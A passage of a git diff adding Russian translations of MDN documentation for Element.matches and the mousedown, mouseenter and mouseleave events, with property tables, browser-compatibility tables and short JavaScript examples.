+<pre class="brush: html">&lt;div id="one"&gt;Первый подопытный&lt;/div&gt;
+&lt;div class="someClass" id="two"&gt;Второй подопытный&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+
+  var coll = document.querySelectorAll("div");
+  for (var i = 0, len = coll.length; i &lt; len; i++) {
+    if (coll[i].matches(".someClass")) {
+      alert(coll[i].id+": Я выжил!");
+    }else{
+      coll[i].remove();
+    }
+  }
+
+&lt;/script&gt;
+</pre>
+
+<p>Вызов alert сработает только для второго элемента div, которому присвоен класс "someClass".</p>
+
+<h2 id="Исключения">Исключения</h2>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Указаный css-селектор не является допустимым<em> ("/=22=1", "&amp;@*#", "%%''23" и т.п приведут к ошибке).</em></dd>
+</dl>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Полифил будет работать только в браузерах, поддерживающих метод document.queryselectorAll.</p>
+
+<pre class="brush: js">;(function(e) {
+    var matches = e.matches || e.matchesSelector || e.webkitMatchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector;
+    !matches ? (e.matches = e.matchesSelector = function matches(selector) {
+        var matches = document.querySelectorAll(selector);
+        var th = this;
+        return Array.prototype.some.call(matches, function(e) {
+            return e === th;
+        });
+    }) : (e.matches = e.matchesSelector = matches);
+})(Element.prototype);</pre>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-matches', 'Element.prototype.matches')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Поддерживается , но имеет иное название</td>
+   <td>
+    <p>{{CompatVersionUnknown}} имеет название  <code>webkitMatchesSelector</code></p>
+   </td>
+   <td>{{CompatGeckoDesktop("1.9.2")}} имеет название   <code>mozMatchesSelector</code> [1]</td>
+   <td>9.0 имеет название <code>msMatchesSelector</code></td>
+   <td>11.5 имеет название  <code>oMatchesSelector</code>,<br>
+    а с 15.0 - <code>webkitMatchesSelector</code></td>
+   <td>5.0 известен под названием <code>webkitMatchesSelector</code></td>
+  </tr>
+  <tr>
+   <td>Unprefix version</td>
+   <td>{{CompatChrome("34")}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Поддерживается , но имеет иное название</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}} имеет название <code>mozMatchesSelector</code> [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Unprefix version</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> До появления Gecko 2.0 вызов с недопустимым селектором возвращал  <code>false</code>, а не вызывал исключение...</p>
diff --git a/files/ru/web/api/element/mousedown_event/index.html b/files/ru/web/api/element/mousedown_event/index.html
new file mode 100644
index 0000000000..e11f5da566
--- /dev/null
+++ b/files/ru/web/api/element/mousedown_event/index.html
@@ -0,0 +1,147 @@
+---
+title: mousedown
+slug: Web/API/Element/mousedown_event
+translation_of: Web/API/Element/mousedown_event
+---
+<p>Событие <code>mousedown</code> срабатывает, когда кнопка указывающего устройства (к примеру, мыши) нажата над элементом.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("MouseEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывающее</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Элемент</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Различное: инициация перетаскивания, выделения текста, прокрутки или масштабирования (в сочетании с нажатием колеса при поддержке такового)</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>A count of consecutive clicks that happened in a short amount of time, incremented by one.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("mousedown")}}</li>
+ <li>{{event("mouseup")}}</li>
+ <li>{{event("mousemove")}}</li>
+ <li>{{event("click")}}</li>
+ <li>{{event("dblclick")}}</li>
+ <li>{{event("mouseover")}}</li>
+ <li>{{event("mouseout")}}</li>
+ <li>{{event("mouseenter")}}</li>
+ <li>{{event("mouseleave")}}</li>
+ <li>{{event("contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html
new file mode 100644
index 0000000000..075e92ec64
--- /dev/null
+++ b/files/ru/web/api/element/mouseenter_event/index.html
@@ -0,0 +1,148 @@
+---
+title: 'Element: mouseenter event'
+slug: Web/API/Element/mouseenter_event
+translation_of: Web/API/Element/mouseenter_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">Событие <strong><code>mouseenter</code></strong> вызывается в {{domxref("Element")}} </span><span class="tlid-translation translation" lang="ru"><span title="">когда указательное устройство (обычно мышь) изначально перемещается так, что его горячая точка находится в пределах элемента, в котором было запущено событие.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплывающее</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика события</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseenter", "onmouseenter")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Заметки_по_использованию">Заметки по использованию</h2>
+
+<p>Хотя <code>mouseenter</code> похоже на {{domxref("Element/mouseover_event", "mouseover")}}, <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отличается тем, что он не является </span></span><a href="/ru/docs/Web/API/Event/bubbles">bubble</a> <span class="tlid-translation translation" lang="ru"><span title="">и не отправляется никаким потомкам, когда указатель перемещается из физического пространства одного из его потомков в его собственное физическое пространство.</span></span></p>
+
+<div style="column-width: 455px; border: 1px solid; padding: 5px; margin-bottom: 10px;">
+<div style="text-align: center;"><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5908/=mouseenter.png"></div>
+<span class="tlid-translation translation" lang="ru"><span title="">Одно событие </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется каждому элементу иерархии при их вводе.</span> <span title="">Здесь 4 события отправляются четырем элементам иерархии, когда указатель достигает текста.</span></span>
+
+<div style="text-align: center;"><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5909/=mouseover.png"></div>
+<span class="tlid-translation translation" lang="ru"><span title="">Одиночное событие наведения мыши</span></span> <code>mouseover</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется в самый глубокий элемент дерева DOM, затем оно всплывает в иерархии, пока не будет отменено обработчиком или не достигнет корня.</span></span></div>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">При наличии глубокой иерархии количество отправляемых </span></span>событий <code>mouseenter</code><span class="tlid-translation translation" lang="ru"><span title=""> может быть довольно большим и вызывать значительные проблемы с производительностью.</span> <span title="">В таких случаях лучше прослушивать события </span></span><code>mouseover</code>.</p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">В сочетании с соответствующим событием</span></span> <code>mouseleave</code> (<span class="tlid-translation translation" lang="ru"><span title="">которое запускается в элементе, когда мышь покидает область содержимого</span></span>), событие <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">действует очень похоже на псевдокласс</span></span> CSS {{cssxref(':hover')}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В документации по <a href="/en-US/docs/Web/Events/mouseover#Example"><code>mouseover</code></a> есть пример илюстрирующий различия между <code>mouseover</code> и <code>mouseenter</code>.</p>
+
+<h3 id="mouseenter">mouseenter</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">В следующем тривиальном примере событие <code>mouseenter</code> используется для изменения границы элемента <code>div</code>, когда мышь входит в выделенное ему пространство.</span> <span title="">Затем он добавляет элемент в список с номером события <code>mouseenter</code> или <code>mouseleave</code>.</span></span></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div id='mouseTarget'&gt;
+ &lt;ul id="unorderedList"&gt;
+  &lt;li&gt;No events yet!&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Стилизация <code>div</code> чтобы сделать его более заметным.</p>
+
+<pre class="brush: css notranslate">#mouseTarget {
+  box-sizing: border-box;
+  width:15rem;
+  border:1px solid #333;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">var enterEventCount = 0;
+var leaveEventCount = 0;
+const mouseTarget = document.getElementById('mouseTarget');
+const unorderedList = document.getElementById('unorderedList');
+
+mouseTarget.addEventListener('mouseenter', e =&gt; {
+  mouseTarget.style.border = '5px dotted orange';
+  enterEventCount++;
+  addListItem('This is mouseenter event ' + enterEventCount + '.');
+});
+
+mouseTarget.addEventListener('mouseleave', e =&gt; {
+  mouseTarget.style.border = '1px solid #333';
+  leaveEventCount++;
+  addListItem('This is mouseleave event ' + leaveEventCount + '.');
+});
+
+function addListItem(text) {
+  // <span class="tlid-translation translation" lang="ru"><span title="">Создать новый текстовый узел, используя предоставленный текст</span></span>
+  var newTextNode = document.createTextNode(text);
+
+  // <span class="tlid-translation translation" lang="ru"><span title="">Создать новый элемент li</span></span>
+  var newListItem = document.createElement("li");
+
+  // Добавить текстовый узел к элементу li
+  newListItem.appendChild(newTextNode);
+
+  // Добавить вновь созданный элемент списка в список
+  unorderedList.appendChild(newListItem);
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('mouseenter')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseenter', 'mouseenter')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseenter', 'mouseenter')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.mouseenter_event")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li>{{domxref("Element/mousedown_event", "mousedown")}}</li>
+ <li>{{domxref("Element/mouseup_event", "mouseup")}}</li>
+ <li>{{domxref("Element/mousemove_event", "mousemove")}}</li>
+ <li>{{domxref("Element/click_event", "click")}}</li>
+ <li>{{domxref("Element/dblclick_event", "dblclick")}}</li>
+ <li>{{domxref("Element/mouseover_event", "mouseover")}}</li>
+ <li>{{domxref("Element/mouseout_event", "mouseout")}}</li>
+ <li>{{domxref("Element/mouseenter_event", "mouseenter")}}</li>
+ <li>{{domxref("Element/mouseleave_event", "mouseleave")}}</li>
+ <li>{{domxref("Element/contextmenu_event", "contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/mouseleave_event/index.html b/files/ru/web/api/element/mouseleave_event/index.html
new file mode 100644
index 0000000000..3e0db2c600
--- /dev/null
+++ b/files/ru/web/api/element/mouseleave_event/index.html
@@ -0,0 +1,319 @@
+---
+title: mouseleave
+slug: Web/API/Element/mouseleave_event
+translation_of: Web/API/Element/mouseleave_event
+---
+<div>{{APIRef}}</div>
+
+<p class="summary">Событие <code>mouseleave</code> срабатывает, когда курсор манипулятора (обычно мыши) перемещается за границы элемента.</p>
+
+<p><code>mouseleave</code> <code>и</code> {{event('mouseout')}} схожи, но отличаются тем, что <code>mouseleave</code> не всплывает, а <code>mouseout</code> всплывает.<br>
+ Это значит, что <code>mouseleave</code> срабатывает, когда курсор выходит за границы элемента <em>и</em> всех его дочерних элементов, в то время как <code>mouseout</code> срабатывает, когда курсор покидает границы элемента <em>или</em> одного из его дочерних элементов (даже если курсор все еще находится в пределах элемента).</p>
+
+<table class="standard" style="border: solid 1px;">
+ <tbody>
+  <tr>
+   <td><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5910/=mouseleave.png"></td>
+   <td><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5911/=mouseout.png"></td>
+  </tr>
+  <tr>
+   <td>Одно <code>mouseleave</code> событие шлётся каждому элементу в иерархии в момент выхода курсора за их границы. Здесь 4 события рассылаются четырём элементам в иерархии когда курсор передвигается от текста к области за границей самого внешнего div элемента представленного на картинке.</td>
+   <td>Одно единственное <code>mouseout</code> событие шлётся самому глубоколежащему элементу в DOM дереве, затем оно поднимается вверх по иерархии пока не будет отменено обработчиком или не достигнет корня.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Специф-ция</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref('MouseEvent')}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">{{cssxref('Element')}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Целевой элемент события (вышележащий элемент в DOM дереве).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>
+    <p>Поднимается ли событие вверх как принято или нет</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><code>Boolean</code></td>
+   <td>Является ли событие отменяемым или нет?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>{{domxref("WindowProxy")}}</td>
+   <td>{{domxref("document.defaultView")}} (<code>window</code> объекта document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Целевой узел (елемент), который используется слушателем события.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Для <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> и <code>mouseleave</code> событий: цель дополнительного события (<code>mouseleave</code> цель в случае наступления <code>mouseenter</code> события). <code>null</code> иначе.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>X координата указателя мыши в глобальных (относительно экрана) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>Y координата указателя мыши в глобальных (относительно экрана) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>X координата указателя мыши в локальных (относительно DOM содержимого) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>Y координата указателя мыши в локальных (относительно DOM содержимого) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>Всегда 0, так как нажатие любой кнопки не может произвести это событие (mouse movement does).</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons depressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are depressed, returns the logical sum of the values. E.g., if Left button and Right button are depressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Events/mouseout#Example"><code>mouseout</code> </a>documentation has an example illustrating the difference between <code>mouseout</code> and <code>mouseleave</code>.</p>
+
+<p>The following example illustrates how to use <code>mouseout</code>, to simulate the principle of event delegation for the mouseleave event.</p>
+
+<pre class="brush: html">&lt;ul id="test"&gt;
+  &lt;li&gt;
+    &lt;ul class="leave-sensitive"&gt;
+      &lt;li&gt;item 1-1&lt;/li&gt;
+      &lt;li&gt;item 1-2&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;ul class="leave-sensitive"&gt;
+      &lt;li&gt;item 2-1&lt;/li&gt;
+      &lt;li&gt;item 2-2&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+  var delegationSelector = ".leave-sensitive";
+
+  document.getElementById("test").addEventListener("mouseout", function( event ) {
+    var target = event.target,
+        related = event.relatedTarget,
+        match;
+
+    // search for a parent node matching the delegation selector
+    while ( target &amp;&amp; target != document &amp;&amp; !( match = matches( target, delegationSelector ) ) ) {
+        target = target.parentNode;
+    }
+
+    // exit if no matching node has been found
+    if ( !match ) { return; }
+
+    // loop through the parent of the related target to make sure that it's not a child of the target
+    while ( related &amp;&amp; related != target &amp;&amp; related != document ) {
+        related = related.parentNode;
+    }
+
+    // exit if this is the case
+    if ( related == target ) { return; }
+
+    // the "delegated mouseleave" handler can now be executed
+    // change the color of the text
+    target.style.color = "orange";
+    // reset the color after a small amount of time
+    setTimeout(function() {
+        target.style.color = "";
+    }, 500);
+
+
+  }, false);
+
+
+  // function used to check if a DOM element matches a given selector
+  // the following code can be replaced by this IE8 compatible function: https://gist.github.com/2851541
+  function matches( elem, selector ){
+    // the matchesSelector is prefixed in most (if not all) browsers
+    return elem.matchesSelector( selector );
+  };
+&lt;/script&gt;</pre>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>30<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>5.5</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} 15.0<br>
+    17.0</td>
+   <td>7<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td>On disabled form elements</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>On disabled form elements</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Реализовано в <a href="https://crbug.com/236215">bug 236215</a>.</p>
+
+<p>[2] Реализовано в {{bug("432698")}}.</p>
+
+<p>[3] Safari 7 генерирует данное событие во многих ситуациях где это не разрешено, тем самым делая целое событие бесполезным. Смотрите <a href="https://crbug.com/470258">bug 470258</a> for the description of the bug (это также присутствовало в старых версиях Chrome). Safari 8 имеет правильное поведение</p>
+
+<p>[4] Реализовано в {{bug("218093")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{Event("mousedown")}}</li>
+ <li>{{Event("mouseup")}}</li>
+ <li>{{Event("mousemove")}}</li>
+ <li>{{Event("click")}}</li>
+ <li>{{Event("dblclick")}}</li>
+ <li>{{Event("mouseover")}}</li>
+ <li>{{Event("mouseout")}}</li>
+ <li>{{Event("mouseenter")}}</li>
